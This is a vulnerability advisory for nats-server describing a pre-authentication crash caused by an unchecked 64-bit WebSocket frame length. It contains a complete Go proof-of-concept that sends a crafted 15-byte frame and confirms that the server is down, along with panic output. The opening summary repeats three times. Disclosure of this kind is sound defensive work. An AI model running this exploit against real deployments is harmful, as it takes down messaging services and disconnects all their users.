NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead

NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.

NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.

NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Starting in version 2.2.0 and prior to versions 2.11.14 and 2.12.5, a missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. Versions 2.11.14 and 2.12.5 contains a fix. A workaround is available. The vulnerability only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If one is able to do so, a defense in depth of restricting either of these will mitigate the attack.

### Background NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing. When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication. ### Problem Description A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port. ### Affected versions Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5 ### Workarounds This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack. ### Solution Upgrade the NATS server to a fixed version. ### Credits This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813. ----- ## Report by @Mistz1 ### Summary An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting `uint64` → `int` conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered `panic` in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit). ### Details **Vulnerable code:** [`server/websocket.go` line 278](https://github.com/nats-io/nats-server/blob/a69f51f/server/websocket.go#L278) ```go r.rem = int(binary.BigEndian.Uint64(tmpBuf)) ``` When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw `uint64` directly to `int` with no validation. RFC 6455 §5.2 states: *"the most significant bit MUST be 0"* — but nats-server never checks this. **Attack chain:** 1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., `0x8000000000000001`). 2. At line 278, `int(0x8000000000000001)` produces `-9223372036854775807` on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow). 3. `r.rem` is now negative. At line 307–311, the bounds clamp fails: ```go n = r.rem // n = -9223372036854775807 if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE n = max - pos // clamp NEVER fires } b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC ``` The addition `pos + n` wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than `max`, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics. 4. There is **no `defer recover()`** anywhere in the goroutine chain: - [`startGoRoutine`](https://github.com/nats-io/nats-server/blob/a69f51f/server/server.go#L4076-L4079): `go func() { f() }()` — no recovery - [`readLoop`](https://github.com/nats-io/nats-server/blob/a69f51f/server/client.go#L1387-L1394): defer only does cleanup — no recovery The unrecovered panic propagates to Go's runtime, which calls `os.Exit(2)`. The **entire nats-server process terminates**. 5. The WebSocket frame is parsed in `wsRead()` called from `readLoop()`, which starts immediately after the HTTP upgrade — **before any NATS CONNECT authentication**. No credentials are required. **Why 15 bytes, not 14:** The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so `pos == max` and the payload loop at line 303 (`if pos < max`) is skipped. The poisoned `r.rem` persists in the `wsReadInfo` struct. One additional byte of "payload" is needed so that `pos < max` on either the same or next read, entering the panic path at line 311. ### PoC **Server configuration** (`test-ws.conf`): ``` listen: 127.0.0.1:4222 websocket { listen: "127.0.0.1:9222" no_tls: true } ``` **Start the server:** ```bash nats-server -c test-ws.conf ``` **Exploit** (`poc_ws_crash.go`): ```go package main import ( "bufio" "encoding/binary" "fmt" "net" "net/http" "os" "time" ) func main() { target := "127.0.0.1:9222" if len(os.Args) > 1 { target = os.Args[1] } fmt.Printf("[*] Connecting to %s...\n", target) conn, err := net.DialTimeout("tcp", target, 5*time.Second) if err != nil { fmt.Printf("[-] Connection failed: %v\n", err) os.Exit(1) } defer conn.Close() // WebSocket upgrade req, _ := http.NewRequest("GET", "http://"+target, nil) req.Header.Set("Upgrade", "websocket") req.Header.Set("Connection", "Upgrade") req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==") req.Header.Set("Sec-WebSocket-Version", "13") req.Header.Set("Sec-WebSocket-Protocol", "nats") req.Write(conn) conn.SetReadDeadline(time.Now().Add(5 * time.Second)) resp, err := http.ReadResponse(bufio.NewReader(conn), req) if err != nil || resp.StatusCode != 101 { fmt.Printf("[-] Upgrade failed\n") os.Exit(1) } fmt.Println("[+] WebSocket established") conn.SetReadDeadline(time.Time{}) // Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte frame := make([]byte, 15) frame[0] = 0x82 // FIN + Binary frame[1] = 0xFF // MASK + 127 (64-bit length) binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set frame[10] = 0xDE // Mask key frame[11] = 0xAD frame[12] = 0xBE frame[13] = 0xEF frame[14] = 0x41 // 1 payload byte fmt.Printf("[*] Sending: %x\n", frame) conn.Write(frame) time.Sleep(2 * time.Second) // Verify crash conn2, err := net.DialTimeout("tcp", target, 3*time.Second) if err != nil { fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed") os.Exit(0) } conn2.Close() fmt.Println("[-] Server still running") } ``` **Run:** ```bash go build -o poc_ws_crash poc_ws_crash.go ./poc_ws_crash ``` **Observed server output before termination:** ``` panic: runtime error: slice bounds out of range [:-9223372036854775793] goroutine 13 [running]: github.com/nats-io/nats-server/v2/server.(*client).wsRead(...) server/websocket.go:311 +0xa93 github.com/nats-io/nats-server/v2/server.(*client).readLoop(...) server/client.go:1434 +0x768 github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1() server/server.go:4078 +0x32 ``` **Tested against:** nats-server v2.14.0-dev (commit `a69f51f`), Go 1.25.7, linux/amd64. ### Impact **Vulnerability type:** Pre-authentication remote denial of service (full process crash). **Who is impacted:** Any nats-server deployment with WebSocket listeners enabled (`websocket { ... }` in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate. **Severity:** A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart. **Affected platforms:** All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences. ( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)

NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead in github.com/nats-io/nats-server